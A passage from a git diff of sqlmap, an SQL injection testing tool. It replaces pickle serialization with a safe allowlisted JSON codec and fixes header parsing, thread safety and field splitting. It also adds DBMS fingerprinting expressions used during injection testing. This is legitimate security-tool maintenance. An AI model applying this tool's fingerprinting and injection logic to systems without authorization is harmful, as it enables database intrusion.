verbatim and randomize only the surrounding characters; + # deleting (or randomizing) the %XX would change the value's decoded content and byte length + retVal = "".join(part if re.match(r"\A%[0-9a-fA-F]{2}\Z", part) else _randomize(part) for part in re.split(r"(%[0-9a-fA-F]{2})", retVal)) if re.match(r"\A[^@]+@.+\.[a-z]+\Z", value): parts = retVal.split('.') @@ -4760,11 +5022,15 @@ def geturl(self): retVal.add(target) for match in re.finditer(r"\.post\(['\"]([^'\"]*)['\"],\s*\{([^}]*)\}", content): - url = _urllib.parse.urljoin(url, htmlUnescape(match.group(1))) + try: + url = _urllib.parse.urljoin(url, htmlUnescape(match.group(1))) + except ValueError: + continue + data = "" - for name, value in re.findall(r"['\"]?(\w+)['\"]?\s*:\s*(['\"][^'\"]+)?", match.group(2)): - data += "%s=%s%s" % (name, value, DEFAULT_GET_POST_DELIMITER) + for name, value in re.findall(r"['\"]?(\w+)['\"]?\s*:\s*['\"]?([^'\",}]*)['\"]?", match.group(2)): + data += "%s=%s%s" % (name, value.strip(), DEFAULT_GET_POST_DELIMITER) data = data.rstrip(DEFAULT_GET_POST_DELIMITER) retVal.add((url, HTTPMETHOD.POST, data, conf.cookie, None)) @@ -4829,6 +5095,10 @@ def getHostHeader(url): >>> getHostHeader('http://www.target.com/vuln.php?id=1') 'www.target.com' + >>> getHostHeader('http://[::1]:8080/vuln.php?id=1') + '[::1]:8080' + >>> getHostHeader('http://[::1]/vuln.php?id=1') + '[::1]' """ retVal = url @@ -4836,10 +5106,11 @@ def getHostHeader(url): if url: retVal = _urllib.parse.urlparse(url).netloc - if re.search(r"http(s)?://\[.+\]", url, re.I): - retVal = extractRegexResult(r"http(s)?://\[(?P.+)\]", url) - elif any(retVal.endswith(':%d' % _) for _ in (80, 443)): - retVal = retVal.split(':')[0] + # Note: netloc keeps the IPv6 brackets (and any port), so only the default ports are + # stripped here - mirroring the hostname/IPv4 branch and preserving non-default ports + # (e.g. '[::1]:8080') as required by RFC 7230 + if any(retVal.endswith(':%d' % _) for _ in (80, 443)): + retVal = retVal[:retVal.rfind(':')] if retVal and retVal.count(':') > 1 and not any(_ in retVal for _ in ('[', ']')): retVal = "[%s]" % retVal @@ -4909,7 +5180,7 @@ def serializeObject(object_): True """ - return base64pickle(object_) + return serializeValue(object_) def unserializeObject(value): """ @@ -4917,11 +5188,11 @@ def unserializeObject(value): >>> unserializeObject(serializeObject([1, 2, 3])) == [1, 2, 3] True - >>> unserializeObject('gAJVBmZvb2JhcnEBLg==') - 'foobar' + >>> unserializeObject(serializeObject('foobar')) == 'foobar' + True """ - return base64unpickle(value) if value else None + return deserializeValue(value) if value else None def resetCounter(technique): """ @@ -4935,7 +5206,14 @@ def incrementCounter(technique): Increments query counter for a given technique """ - kb.counters[technique] = getCounter(technique) + 1 + # Note: the read-modify-write must be atomic since worker threads increment concurrently; + # guard with the shared 'count' lock when available (it is absent in isolated/doctest use) + lock = kb.locks.count if kb.get("locks") else None + if lock is not None: + with lock: + kb.counters[technique] = getCounter(technique) + 1 + else: + kb.counters[technique] = getCounter(technique) + 1 def getCounter(technique): """ @@ -5237,10 +5515,21 @@ def zeroDepthSearch(expression, value): retVal = [] depth = 0 - for index in xrange(len(expression)): - if expression[index] == '(': + quote = None + index = 0 + while index < len(expression): + char = expression[index] + if quote: # Note: content inside a single/double quoted string literal is data, not structure - a delimiter/keyword there must not be matched (e.g. ',' or ' FROM ' inside 'a,b'/'x FROM y') + if char == quote: + if index + 1 < len(expression) and expression[index + 1] == quote: # escaped quote (e.g. '') + index += 1 + else: + quote = None + elif char in ('"', "'"): + quote = char + elif char == '(': depth += 1 - elif expression[index] == ')': + elif char == ')': depth -= 1 elif depth == 0: if value.startswith('[') and value.endswith(']'): @@ -5248,6 +5537,7 @@ def zeroDepthSearch(expression, value): retVal.append(index) elif expression[index:index + len(value)] == value: retVal.append(index) + index += 1 return retVal @@ -5257,14 +5547,45 @@ def splitFields(fields, delimiter=','): >>> splitFields('foo, bar, max(foo, bar)') ['foo', 'bar', 'max(foo,bar)'] + >>> splitFields("a, 'b, c', d") + ['a', "'b, c'", 'd'] + >>> splitFields('a; b; max(c; d)', delimiter=';') + ['a', 'b', 'max(c;d)'] """ - fields = fields.replace("%s " % delimiter, delimiter) - commas = [-1, len(fields)] - commas.extend(zeroDepthSearch(fields, ',')) - commas = sorted(commas) + # collapse " " -> "" but only OUTSIDE quoted string literals, so a + # space inside e.g. 'b, c' survives (the quote handling mirrors zeroDepthSearch) + normalized = [] + quote = None + index = 0 + while index < len(fields): + char = fields[index] + if quote: + normalized.append(char) + if char == quote: + if index + 1 < len(fields) and fields[index + 1] == quote: # escaped quote (e.g. '') + normalized.append(fields[index + 1]) + index += 2 + continue + else: + quote = None + elif char in ('"', "'"): + quote = char + normalized.append(char) + elif char == delimiter and index + 1 < len(fields) and fields[index + 1] == ' ': + normalized.append(char) # keep the delimiter, drop the single trailing space + index += 2 + continue + else: + normalized.append(char) + index += 1 + + fields = "".join(normalized) + splits = [-1, len(fields)] + splits.extend(zeroDepthSearch(fields, delimiter)) + splits = sorted(splits) - return [fields[x + 1:y] for (x, y) in _zip(commas, commas[1:])] + return [fields[x + 1:y] for (x, y) in _zip(splits, splits[1:])] def pollProcess(process, suppress_errors=False): """ @@ -5423,8 +5744,10 @@ def _parseBurpLog(content): key, value = line.split(":", 1) value = value.strip().replace("\r", "").replace("\n", "") - # Note: overriding values with --headers '...' - match = re.search(r"(?i)\b(%s): ([^\n]*)" % re.escape(key), conf.headers or "") + # Note: overriding values with --headers '...'; the lookbehind prevents the key + # from matching the hyphen-suffix tail of a longer header name (e.g. 'Host' + # matching inside 'X-Forwarded-Host'), which would corrupt the outgoing header + match = re.search(r"(?i)(?>> checkSums() + + return os.path.isdir(os.path.join(paths.SQLMAP_ROOT_PATH, ".git")) + +def codeIsModified(): + """ + Best-effort check whether a git working copy has local modifications, used to avoid auto-reporting + crashes that stem from a user's OWN changes. Only meaningful for git checkouts (dev/clone); a + pip/tarball install is taken as shipped (returns False). A transient git error also yields False, + so a missing git binary never silences a legitimate report. + + >>> codeIsModified() in (True, False) True """ - retVal = True + retVal = False - if paths.get("DIGEST_FILE"): - for entry in getFileItems(paths.DIGEST_FILE): - match = re.search(r"([0-9a-f]+)\s+([^\s]+)", entry) - if match: - expected, filename = match.groups() - filepath = os.path.join(paths.SQLMAP_ROOT_PATH, filename).replace('/', os.path.sep) - if not checkFile(filepath, False): - continue - with open(filepath, "rb") as f: - content = f.read() - if b'\0' not in content: - content = content.replace(b"\r\n", b"\n") - if not hashlib.sha256(content).hexdigest() == expected: - retVal &= False - break + if isGitRepository(): + try: + process = subprocess.Popen("git diff-index --quiet HEAD --", shell=True, cwd=paths.SQLMAP_ROOT_PATH, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + process.communicate() + if process.returncode == 1: # 0 == clean, 1 == modified (anything else == git error) + retVal = True + except Exception: + pass return retVal + +def safeCompareStrings(a, b): + """ + Constant-time string comparison to prevent timing attacks. + >>> safeCompareStrings("test", "test") + True + >>> safeCompareStrings("test", None) + False + >>> safeCompareStrings("test1", "test2") + False + """ + if a is None or b is None: + return a == b + + if hasattr(hmac, "compare_digest"): + return hmac.compare_digest(a, b) + + # Fallback for Python < 2.7.7 and < 3.3 + if len(a) != len(b): + return False + + result = 0 + for x, y in zip(a, b): + result |= ord(x) ^ ord(y) + return result == 0 diff --git a/lib/core/compat.py b/lib/core/compat.py index 7020863da46..08d8f02d75d 100644 --- a/lib/core/compat.py +++ b/lib/core/compat.py @@ -280,40 +280,30 @@ def __hash__(self): xrange = xrange buffer = buffer +try: + RecursionError = RecursionError +except NameError: + # Note: patch for Python < 3.5 (RecursionError, a subclass of RuntimeError, was introduced in Python 3.5) + RecursionError = RuntimeError + def LooseVersion(version): """ >>> LooseVersion("1.0") == LooseVersion("1.0") True >>> LooseVersion("1.0.1") > LooseVersion("1.0") True - >>> LooseVersion("1.0.1-") == LooseVersion("1.0.1") - True >>> LooseVersion("1.0.11") < LooseVersion("1.0.111") True - >>> LooseVersion("foobar") > LooseVersion("1.0") - False - >>> LooseVersion("1.0") > LooseVersion("foobar") - False - >>> LooseVersion("3.22-mysql") == LooseVersion("3.22-mysql-ubuntu0.3") + >>> LooseVersion("8.0.22") > LooseVersion("8.0.2") True - >>> LooseVersion("8.0.22-0ubuntu0.20.04.2") - 8.000022 + >>> LooseVersion("1.0alpha-beta-gama") + (1, 0) """ - match = re.search(r"\A(\d[\d.]*)", version or "") - if match: - result = 0 - value = match.group(1) - weight = 1.0 - for part in value.strip('.').split('.'): - if part.isdigit(): - result += int(part) * weight - weight *= 1e-3 + return tuple(int(part) for part in match.group(1).strip('.').split('.') if part.isdigit()) else: - result = float("NaN") - - return result + return () # NOTE: codecs.open re-implementation (deprecated in Python 3.14) diff --git a/lib/core/convert.py b/lib/core/convert.py index 0b4cddd739e..f3927e60d64 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -5,14 +5,11 @@ See the file 'LICENSE' for copying permission """ -try: - import cPickle as pickle -except: - import pickle - import base64 import binascii import codecs +import datetime +import decimal import json import re import sys @@ -26,7 +23,6 @@ from lib.core.settings import IS_TTY from lib.core.settings import IS_WIN from lib.core.settings import NULL -from lib.core.settings import PICKLE_PROTOCOL from lib.core.settings import SAFE_HEX_MARKER from lib.core.settings import UNICODE_ENCODING from thirdparty import six @@ -35,50 +31,255 @@ from thirdparty.six.moves import collections_abc as _collections try: - from html import escape as htmlEscape + from html import escape as _escape except ImportError: - from cgi import escape as htmlEscape + from cgi import escape as _escape + +htmlEscape = _escape + +# Safe (no arbitrary code execution) serialization used for the session store (HashDB) +# and BigArray disk chunks. The former serializer could execute code while loading, so +# deserializing sqlmap's own (locally writable) session/cache files was a recurring +# report magnet. This codec serializes to plain JSON with explicit type tags, so nothing +# is ever executed on load. +# +# JSON natively covers only str/int/float/bool/None/list, and silently loses the rest +# (int/tuple dict keys become strings, set/tuple/bytes are rejected). The tagged wrappers +# below preserve every type sqlmap actually stores: bytes, tuple, set/frozenset, dict with +# arbitrary (non-string) keys, DB-driver scalars (Decimal/datetime/...), and the handful of +# sqlmap's own classes below. Reconstruction of classes is limited to that explicit +# allowlist (no module/namespace wildcard), so no dangerous callable is ever reachable. + +# reserved wrapper key; data mappings are encoded as tagged pair-lists (never as bare JSON +# objects), so any decoded JSON object is one of our wrappers and this key can never collide +_SERIALIZE_TAG = "$T" + +# fully-qualified names of the ONLY classes that may be reconstructed on deserialization +_SERIALIZE_CLASSES = frozenset(( + "lib.core.datatype.AttribDict", + "lib.core.datatype.InjectionDict", + "lib.utils.har.RawPair", +)) + +def _serializeEncode(value): + """ + Turns a Python value into a JSON-serializable (tagged) structure + """ + + if value is None or isinstance(value, bool) or isinstance(value, float) or isinstance(value, six.integer_types): + return value + + if isinstance(value, six.text_type): + return value + + # Note: on Python 2 'str' is binary; base64-tagging it (rather than emitting a native JSON + # string that would round-trip as 'unicode') keeps the exact byte type across versions + if isinstance(value, (six.binary_type, bytearray)): + raw = bytes(value) if isinstance(value, bytearray) else value + retVal = {_SERIALIZE_TAG: "b", "v": encodeBase64(raw, binary=False), "a": 1 if isinstance(value, bytearray) else 0} + if six.PY3: # mark genuine Python 3 bytes so restore keeps them bytes; a + retVal["pv"] = 3 # Python 2 'str' (text) is unmarked and recovered as text (see decode) + return retVal + + if isinstance(value, memoryview): + retVal = {_SERIALIZE_TAG: "b", "v": encodeBase64(value.tobytes(), binary=False), "a": 0} + if six.PY3: + retVal["pv"] = 3 + return retVal + + try: + if isinstance(value, buffer): # noqa: F821 # Python 2 only + return {_SERIALIZE_TAG: "b", "v": encodeBase64(bytes(value), binary=False), "a": 0} + except NameError: + pass + + # Note: BigArray is a 'list' subclass, so it must be matched before the plain-list branch + # (otherwise it would round-trip as a plain list, losing its type) + if isinstance(value, BigArray): + return {_SERIALIZE_TAG: "ba", "v": [_serializeEncode(_) for _ in value]} + + if isinstance(value, list): + return [_serializeEncode(_) for _ in value] + + if isinstance(value, tuple): + return {_SERIALIZE_TAG: "t", "v": [_serializeEncode(_) for _ in value]} + + if isinstance(value, frozenset): + return {_SERIALIZE_TAG: "f", "v": [_serializeEncode(_) for _ in value]} + + if isinstance(value, (set, _collections.Set)): + return {_SERIALIZE_TAG: "s", "v": [_serializeEncode(_) for _ in value]} + + if isinstance(value, dict): + name = "%s.%s" % (value.__class__.__module__, value.__class__.__name__) + if name in _SERIALIZE_CLASSES: + return {_SERIALIZE_TAG: "o", "c": name, "d": [[_serializeEncode(k), _serializeEncode(v)] for (k, v) in value.items()], "s": _serializeEncode(dict(value.__dict__))} + elif value.__class__ is dict or (name or "").split(".")[0] not in ("lib", "plugins", "thirdparty"): + # a plain dict, or a foreign mapping subclass (e.g. collections.OrderedDict/defaultdict): store the + # items as a plain mapping so the data round-trips, instead of silently degrading to its text repr. + # A non-allowlisted lib/plugins/thirdparty subclass still falls through to _serializeUnknown (fail loudly) + return {_SERIALIZE_TAG: "m", "v": [[_serializeEncode(k), _serializeEncode(v)] for (k, v) in value.items()]} + else: + return _serializeUnknown(value, name) + + if isinstance(value, decimal.Decimal): + return {_SERIALIZE_TAG: "dec", "v": getUnicode(value)} -def base64pickle(value): + if isinstance(value, datetime.datetime): + return {_SERIALIZE_TAG: "dt", "v": [value.year, value.month, value.day, value.hour, value.minute, value.second, value.microsecond]} + + if isinstance(value, datetime.date): + return {_SERIALIZE_TAG: "date", "v": [value.year, value.month, value.day]} + + if isinstance(value, datetime.time): + return {_SERIALIZE_TAG: "time", "v": [value.hour, value.minute, value.second, value.microsecond]} + + if isinstance(value, datetime.timedelta): + return {_SERIALIZE_TAG: "td", "v": [value.days, value.seconds, value.microseconds]} + + name = "%s.%s" % (value.__class__.__module__, value.__class__.__name__) + if name in _SERIALIZE_CLASSES: + return {_SERIALIZE_TAG: "o", "c": name, "s": _serializeEncode(dict(value.__dict__))} + + return _serializeUnknown(value, name) + +def _serializeUnknown(value, name): + """ + Fallback for a type not explicitly handled by the serializer """ - Serializes (with pickle) and encodes to Base64 format supplied (binary) value - >>> base64unpickle(base64pickle([1, 2, 3])) == [1, 2, 3] - True + # sqlmap's own (or bundled) classes MUST be added to the allowlist explicitly - fail loudly + # (caught by the regression tests) rather than silently store something that cannot be restored + if (name or "").split(".")[0] in ("lib", "plugins", "thirdparty"): + raise TypeError("serialization of type '%s' is not supported" % name) + + # a foreign/exotic scalar (e.g. an unusual DB-driver value): degrade to its textual form rather + # than crash a user's session - session values are only ever rendered (getUnicode) downstream + singleTimeWarnMessage("serializing value of unsupported type '%s' as text" % name) + return getUnicode(value) + +def _serializeDecode(struct): + """ + Restores a Python value from a JSON-deserialized (tagged) structure """ - retVal = None + if struct is None or isinstance(struct, bool) or isinstance(struct, float) or isinstance(struct, six.integer_types): + return struct - try: - retVal = encodeBase64(pickle.dumps(value, PICKLE_PROTOCOL), binary=False) - except: - warnMsg = "problem occurred while serializing " - warnMsg += "instance of a type '%s'" % type(value) - singleTimeWarnMessage(warnMsg) + if isinstance(struct, six.text_type): + return struct - try: - retVal = encodeBase64(pickle.dumps(value), binary=False) - except: - raise + if isinstance(struct, six.binary_type): # defensive - json.loads() yields text, not bytes + return getUnicode(struct) + + if isinstance(struct, list): + return [_serializeDecode(_) for _ in struct] + + if isinstance(struct, dict): + tag = struct.get(_SERIALIZE_TAG) + + if tag == "b": + raw = decodeBase64(struct["v"], binary=True) + if struct.get("a"): + return bytearray(raw) + # Genuine Python 3 bytes (pv==3) are kept as-is. A value WITHOUT the marker was + # written by Python 2, whose text-'str' goes through this bytes branch; on Python 3 + # that would surface as 'bytes' and break str consumers - most visibly kb.chars, + # whose str-key lookups then return None and crash cleanupPayload(). Recover such + # cross-version TEXT by decoding valid UTF-8 to 'str'; real binary stays bytes. + if struct.get("pv") == 3 or not six.PY3: + return raw + try: + return raw.decode("utf-8") + except UnicodeDecodeError: + return raw + elif tag == "t": + return tuple(_serializeDecode(_) for _ in struct["v"]) + elif tag == "f": + return frozenset(_serializeDecode(_) for _ in struct["v"]) + elif tag == "ba": + return BigArray([_serializeDecode(_) for _ in struct["v"]]) + elif tag == "s": + return set(_serializeDecode(_) for _ in struct["v"]) + elif tag == "m": + return dict((_serializeDecode(k), _serializeDecode(v)) for (k, v) in struct["v"]) + elif tag == "dec": + return decimal.Decimal(struct["v"]) + elif tag == "dt": + return datetime.datetime(*struct["v"]) + elif tag == "date": + return datetime.date(*struct["v"]) + elif tag == "time": + return datetime.time(*struct["v"]) + elif tag == "td": + return datetime.timedelta(struct["v"][0], struct["v"][1], struct["v"][2]) + elif tag == "o": + return _serializeDecodeObject(struct) + elif tag is None: # defensive - a bare mapping should never occur + return dict((_serializeDecode(k), _serializeDecode(v)) for (k, v) in struct.items()) + else: + raise ValueError("unsupported serialized tag '%s'" % tag) + + raise ValueError("unsupported serialized structure of type '%s'" % type(struct)) + +def _serializeResolveClass(name): + """ + Resolves an allowlisted class name to its class (nothing else may be reconstructed) + """ + + if name not in _SERIALIZE_CLASSES: + raise ValueError("deserialization of class '%s' is forbidden" % name) + + if name == "lib.utils.har.RawPair": + from lib.utils.har import RawPair + return RawPair + else: + from lib.core.datatype import AttribDict, InjectionDict + return InjectionDict if name.endswith("InjectionDict") else AttribDict + +def _serializeDecodeObject(struct): + """ + Reconstructs an allowlisted class instance from its serialized form + """ + + _class = _serializeResolveClass(struct.get("c")) + retVal = _class.__new__(_class) + + if isinstance(retVal, dict): + for pair in (struct.get("d") or []): + dict.__setitem__(retVal, _serializeDecode(pair[0]), _serializeDecode(pair[1])) + + state = _serializeDecode(struct.get("s") or {}) + if isinstance(state, dict): + retVal.__dict__.update(state) return retVal -def base64unpickle(value): +def serializeValue(value): """ - Decodes value from Base64 to plain format and deserializes (with pickle) its content + Safely serializes a Python value to its canonical serialized form (JSON text), without any + code-execution risk - >>> type(base64unpickle('gAJjX19idWlsdGluX18Kb2JqZWN0CnEBKYFxAi4=')) == object + Note: the output is pure ASCII text, so it is stored verbatim in the (TEXT) session store - no + Base64 (or any base-N) wrapping is needed (that was only required by the former binary + serialization), which also keeps the stored form as small as possible. Callers that need raw + bytes (e.g. a compressed BigArray disk chunk) simply encode the returned text. + + >>> deserializeValue(serializeValue({1: 'a', 'b': (2, 3), 'c': {4, 5}})) == {1: 'a', 'b': (2, 3), 'c': {4, 5}} + True + >>> deserializeValue(serializeValue([1, 2, (3, {4: b'5'})])) == [1, 2, (3, {4: b'5'})] True """ - retVal = None + return json.dumps(_serializeEncode(value), ensure_ascii=True, separators=(',', ':')) - try: - retVal = pickle.loads(decodeBase64(value)) - except TypeError: - retVal = pickle.loads(decodeBase64(bytes(value))) +def deserializeValue(value): + """ + Restores a Python value from its serialized form (accepts the serialized data as either text or + bytes) + """ - return retVal + return _serializeDecode(json.loads(getText(value))) def htmlUnescape(value): """ @@ -283,6 +484,8 @@ def getBytes(value, encoding=None, errors="strict", unsafe=True): >>> getBytes(u"foo\\\\x01\\\\x83\\\\xffbar") == b"foo\\x01\\x83\\xffbar" True + >>> getBytes(u"C:\\\\\\\\x64\\\\secrets.txt") == b"C:\\\\x64\\\\secrets.txt" + True """ retVal = value @@ -316,7 +519,8 @@ def getBytes(value, encoding=None, errors="strict", unsafe=True): retVal = value.encode(UNICODE_ENCODING, errors="replace") if unsafe: - retVal = re.sub(b"\\\\x([0-9a-f]{2})", lambda _: decodeHex(_.group(1)), retVal) + retVal = re.sub(b"(?>> stdoutEncode(b"foobar") 'foobar' + >>> stdoutEncode({"url": "http://example.com/foo", "data": "id=1"}) == {"url": "http://example.com/foo", "data": "id=1"} + True """ if value is None: @@ -431,13 +637,21 @@ def stdoutEncode(value): kb.codePage = kb.codePage or "" - encoding = kb.get("codePage") or getattr(sys.stdout, "encoding", None) or UNICODE_ENCODING + # Python 3.6+ writes to the Windows console via WriteConsoleW (PEP 528), so sys.stdout.encoding + # (typically 'utf-8') renders Unicode that the legacy OEM/ANSI code page from 'chcp' would replace + # with '?'; prefer it there. The chcp-derived code page stays as the fallback (older interpreters, + # PYTHONLEGACYWINDOWSSTDIO, or a console encoding Python could not determine) and for Python 2. + if six.PY3: + encoding = getattr(sys.stdout, "encoding", None) or kb.get("codePage") or UNICODE_ENCODING + else: + encoding = kb.get("codePage") or getattr(sys.stdout, "encoding", None) or UNICODE_ENCODING if six.PY3: if isinstance(value, (bytes, bytearray)): value = getUnicode(value, encoding) elif not isinstance(value, str): - value = str(value) + # Reference: https://github.com/sqlmapproject/sqlmap/issues/6054 + return value try: retVal = value.encode(encoding, errors="replace").decode(encoding, errors="replace") @@ -454,6 +668,9 @@ def stdoutEncode(value): return retVal +# str.isascii() is available on Python 3.7+ only (sqlmap still supports 2.7) +_HAS_ISASCII = hasattr(str, "isascii") + def getConsoleLength(value): """ Returns console width of unicode values @@ -465,7 +682,15 @@ def getConsoleLength(value): """ if isinstance(value, six.text_type): - retVal = len(value) + sum(ord(_) >= 0x3000 for _ in value) + # Fast path: ASCII values have no wide (>= U+3000) characters, so their + # console width is simply their length. str.isascii() (Python 3.7+) is a + # C-level scan, far cheaper than the per-character generator below (which + # stays for the rare wide-character case and for Python 2). This runs + # once per dumped cell, so it dominates large table dumps. + if _HAS_ISASCII and value.isascii(): + retVal = len(value) + else: + retVal = len(value) + sum(ord(_) >= 0x3000 for _ in value) else: retVal = len(value) diff --git a/lib/core/datatype.py b/lib/core/datatype.py index 15160ae4d9f..f667c0cd9e1 100644 --- a/lib/core/datatype.py +++ b/lib/core/datatype.py @@ -7,9 +7,8 @@ import copy import threading -import types -from thirdparty.odict import OrderedDict +from collections import OrderedDict from thirdparty.six.moves import collections_abc as _collections class AttribDict(dict): @@ -151,7 +150,7 @@ def __getitem__(self, key): def get(self, key, default=None): try: return self.__getitem__(key) - except: + except (KeyError, TypeError): return default def __setitem__(self, key, value): diff --git a/lib/core/decorators.py b/lib/core/decorators.py index 53603e81637..aa6c1a850b0 100644 --- a/lib/core/decorators.py +++ b/lib/core/decorators.py @@ -15,6 +15,11 @@ _cache = {} _method_locks = {} +# Private marker prefixing the slow-path (frozen) cache key so it can never collide with a raw +# fast-path key: without it e.g. args ([1,2],) freezes to ((1,2),), the exact fast key of ((1,2),), +# and the two calls would share a cache slot and return each other's result +_FROZEN_KEY_MARKER = object() + def cachedmethod(f): """ Method with a cached content @@ -59,15 +64,19 @@ def _f(*args, **kwargs): return cache[key] except TypeError: - # Note: fallback (slowpath( - if kwargs: - key = (_freeze(args), _freeze(kwargs)) - else: - key = _freeze(args) - - with lock: - if key in cache: - return cache[key] + # Note: fallback (slow-path) for unhashable arguments + try: + if kwargs: + key = (_FROZEN_KEY_MARKER, _freeze(args), _freeze(kwargs)) + else: + key = (_FROZEN_KEY_MARKER, _freeze(args)) + + with lock: + if key in cache: + return cache[key] + except TypeError: + # Note: genuinely uncacheable arguments; skip caching altogether + return f(*args, **kwargs) result = f(*args, **kwargs) diff --git a/lib/core/dicts.py b/lib/core/dicts.py index a1baf0db3a2..5bf2739af41 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -21,6 +21,7 @@ from lib.core.settings import FIREBIRD_ALIASES from lib.core.settings import FRONTBASE_ALIASES from lib.core.settings import H2_ALIASES +from lib.core.settings import HANA_ALIASES from lib.core.settings import HSQLDB_ALIASES from lib.core.settings import INFORMIX_ALIASES from lib.core.settings import MAXDB_ALIASES @@ -40,6 +41,7 @@ from lib.core.settings import VIRTUOSO_ALIASES from lib.core.settings import CLICKHOUSE_ALIASES from lib.core.settings import SNOWFLAKE_ALIASES +from lib.core.settings import SPANNER_ALIASES FIREBIRD_TYPES = { 261: "BLOB", @@ -122,6 +124,28 @@ 3: "binary", 19: "text", 20: "image", + # the rest of master..systypes on ASE 15/16 - without these, --schema prints the raw user type number + # for columns as ordinary as bigint, date and univarchar + 34: "unichar", + 35: "univarchar", + 36: "unitext", + 37: "date", + 38: "time", + 39: "daten", + 40: "timen", + 42: "longsysname", + 43: "bigint", + 44: "usmallint", + 45: "uint", + 46: "ubigint", + 47: "uintn", + 48: "bigdatetime", + 49: "bigtime", + 50: "bigdatetimen", + 51: "bigtimen", + 53: "text_locator", + 54: "image_locator", + 55: "unitext_locator", } ALTIBASE_TYPES = { @@ -229,9 +253,9 @@ DBMS.ORACLE: (ORACLE_ALIASES, "python-oracledb", "https://oracle.github.io/python-oracledb/", "oracle"), DBMS.SQLITE: (SQLITE_ALIASES, "python-sqlite", "https://docs.python.org/3/library/sqlite3.html", "sqlite"), DBMS.ACCESS: (ACCESS_ALIASES, "python-pyodbc", "https://github.com/mkleehammer/pyodbc", "access"), - DBMS.FIREBIRD: (FIREBIRD_ALIASES, "python-kinterbasdb", "https://kinterbasdb.sourceforge.net/", "firebird"), - DBMS.MAXDB: (MAXDB_ALIASES, None, None, "maxdb"), - DBMS.SYBASE: (SYBASE_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "sybase"), + DBMS.FIREBIRD: (FIREBIRD_ALIASES, "python3-firebirdsql", "https://github.com/nakagami/pyfirebirdsql/", "firebird"), + DBMS.MAXDB: (MAXDB_ALIASES, None, None, None), # 'maxdb'/'sapdb' SQLAlchemy dialect was removed long ago; a dead dialect only produces a misleading warning + DBMS.SYBASE: (SYBASE_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", None), # 'sybase' SQLAlchemy dialect was removed in 1.4 (external replacement abandoned); pymssql/dbwire cover '-d', so a dead dialect only wastes an attempt and shows a misleading warning DBMS.DB2: (DB2_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"), DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & https://github.com/jpype-project/jpype", None), DBMS.H2: (H2_ALIASES, None, None, None), @@ -252,6 +276,25 @@ DBMS.RAIMA: (RAIMA_ALIASES, None, None, None), DBMS.VIRTUOSO: (VIRTUOSO_ALIASES, None, None, None), DBMS.SNOWFLAKE: (SNOWFLAKE_ALIASES, None, None, "snowflake"), + DBMS.SPANNER: (SPANNER_ALIASES, None, None, "spanner"), + DBMS.HANA: (HANA_ALIASES, "hdbcli", "https://pypi.org/project/hdbcli/", "hana"), +} + +# DBMS -> pure-python 'extra/dbwire' wire-protocol module, used as a dependency-free '-d' fallback when +# neither a native driver nor SQLAlchemy is installed (a single module serves the whole compatible family, +# e.g. 'postgres' also covers CockroachDB/CrateDB/Redshift/Greenplum) +DBWIRE_MODULES = { + DBMS.PGSQL: "postgres", + DBMS.CRATEDB: "postgres", # CrateDB speaks the PostgreSQL wire protocol + DBMS.MYSQL: "mysql", + DBMS.MSSQL: "tds", + DBMS.SYBASE: "sybase", # ASE speaks TDS 5.0, a different login and token dialect than Microsoft's 7.x + DBMS.CLICKHOUSE: "clickhouse", + DBMS.MONETDB: "monetdb", + DBMS.PRESTO: "presto", + DBMS.FIREBIRD: "firebird", + DBMS.VERTICA: "postgres", # Vertica speaks a PostgreSQL-v3-derived wire protocol (trust/cleartext/md5 auth) + DBMS.CUBRID: "cubrid", } # Reference: https://blog.jooq.org/tag/sysibm-sysdummy1/ @@ -265,33 +308,38 @@ DBMS.INFORMIX: " FROM SYSMASTER:SYSDUAL", DBMS.DERBY: " FROM SYSIBM.SYSDUMMY1", DBMS.MIMERSQL: " FROM SYSTEM.ONEROW", - DBMS.FRONTBASE: " FROM INFORMATION_SCHEMA.IO_STATISTICS" + DBMS.FRONTBASE: " FROM INFORMATION_SCHEMA.IO_STATISTICS", + DBMS.HANA: " FROM DUMMY" } HEURISTIC_NULL_EVAL = { DBMS.ACCESS: "CVAR(NULL)", DBMS.MAXDB: "ALPHA(NULL)", DBMS.MSSQL: "PARSENAME(NULL,NULL)", + DBMS.SYBASE: "STR_REPLACE(NULL,'x','x')", # ASE extension (MSSQL has REPLACE); doc-derived, not live-tested. Also SAP IQ / SQL Anywhere (not in DBMS) DBMS.MYSQL: "IFNULL(QUARTER(NULL),NULL XOR NULL)", # NOTE: previous form (i.e., QUARTER(NULL XOR NULL)) was bad as some optimization engines wrongly evaluate QUARTER(NULL XOR NULL) to 0 DBMS.ORACLE: "INSTR2(NULL,NULL)", DBMS.PGSQL: "QUOTE_IDENT(NULL)", DBMS.SQLITE: "JULIANDAY(NULL)", DBMS.H2: "STRINGTOUTF8(NULL)", DBMS.MONETDB: "CODE(NULL)", - DBMS.DERBY: "NULLIF(USER,SESSION_USER)", + DBMS.DERBY: "NULLIF(USER,SESSION_USER)", # not Derby-specific; safe only because DB2 (shares this dummy) is tested first + DBMS.DB2: "MULTIPLY_ALT(NULL,NULL)", # DB2-unique (Derby shares the dummy, not this function) DBMS.VERTICA: "BITSTRING_TO_BINARY(NULL)", DBMS.MCKOI: "TONUMBER(NULL)", DBMS.PRESTO: "FROM_HEX(NULL)", DBMS.ALTIBASE: "TDESENCRYPT(NULL,NULL)", DBMS.MIMERSQL: "ASCII_CHAR(256)", - DBMS.CRATEDB: "MD5(NULL~NULL)", # NOTE: NULL~NULL also being evaluated on H2 and Ignite + DBMS.CRATEDB: "GEN_RANDOM_TEXT_UUID()~NULL", # NOTE: old MD5(NULL~NULL) was too loose (also NULL on MonetDB/H2/Ignite -> they mis-identified as CrateDB); gen_random_text_uuid() is CrateDB-only, and ~NULL keeps it a NULL-eval DBMS.CUBRID: "(NULL SETEQ NULL)", - DBMS.CACHE: "%SQLUPPER NULL", + DBMS.CACHE: "%EXACT(NULL)", # NOTE: '%SQLUPPER NULL' does not parse inside the heuristic's (SELECT ...) form, so Cache/IRIS fell through to a later, non-unique marker (e.g. Mckoi TONUMBER); the %-prefixed collation function %EXACT() is InterSystems-unique and works here DBMS.EXTREMEDB: 